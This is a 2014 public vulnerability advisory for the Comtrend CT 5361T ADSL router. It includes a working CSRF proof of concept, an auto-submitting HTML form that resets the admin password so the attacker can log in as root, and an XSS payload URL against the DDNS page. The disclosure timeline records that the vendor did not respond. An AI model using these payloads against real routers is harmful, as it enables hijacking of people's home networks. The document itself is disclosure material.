[+] Author: TUNISIAN CYBER
[+] Exploit Title: Comtrend CT 5361T Multiple Vulnerabilities
[+] Date: 21-04-2014
[+] Category: WebApp
[+] CVE:CVE-2014-2923
CVE-2014-2924
[+] Tested on: Windows 7 Pro
[+] Vendor: http://www.comtrend.com/
[+] Product: http://www.comtrend.com/cgi-bin/na/db-searchn.cgi?template=proview1.htm&dbname=product&key2=32&action=searchdbdisplay
[+] Friendly Sites: na3il.com,th3-creative.com
1.OVERVIEW:
WiFi router Comtrend CT 5361T suffers from a Cross Site Request Forgery (change passwd) and Cross-Site Scripting Vulnerability
2.Version:
CT 5361T (more likely CT CT 536X)
Software Version: A111-312SSG-T02_R01
Wireless Driver Version: 4.150.10.15.cpe2.2
3.Background:
The CT-5361T is an 802.11g (54Mbps) Wireless and Wired ADSL2+ router.
Four 10/100 Base-T Ethernet ports and an optional USB port and an integrated 802.11g WiFi WLAN Access Point (AP) provide with wired LAN connectivity and wireless connectivity separately.
The CT-5361T ADSL2+ router also provides for state of the art security features such as WPA data encryption,
Firewall and VPN pass through.
The CT-5361T is designed for both residential and business applications that require wireless and wired connectivity to an ADSL broadband network.
The CT-5361T supports up to 16 contiguous virtual connections allowing for multiple simultaneous Internet connections.
The CT-5361T is also designed with TR-068 compliant color panel and LED indicators, which eases the installation of the modem and makes it more user-friendly.
4.Proof Of Concept:
CSRF
<html>
<body onload="javascript:document.forms[0].submit()">
<form method="POST" name="form0" action="192.168.1.1/password.cgi?sysPassword=[Your Password]">
</form>
</body>
</html>
Then Login as root with your new pwd.
XSS:
192.168.1.1/ddnsmngr.cmd?action=add&service=1&hostname=blabla&username=%3cscript%3ealert(%27xss%27)%3c%2fscript%3e&password=bblala&iface=ppp0
http://i.imgur.com/plXXpJU.png
5.Solution(s):
NOT FIXED
6.TIME-LINE:
16-04-2014: Vulnerability was discovered.
16-04-2014: Contact with vendor and ISP.
17-04-2014: No Reply.
18-04-2014: No Reply.
18-04-2014: ANOTHER contact with vendor and ISP.
19-04-2014: No Reply.
20-04-2014: No Reply.
20-04-2014: CVE(s) Requested.
21-04-2014: CVE assigned.
21-04-2014: Vulnerability published.
7.Greetings:
Xmax-tn
Xtech-set
N43il
Sec4ver,E4A Members
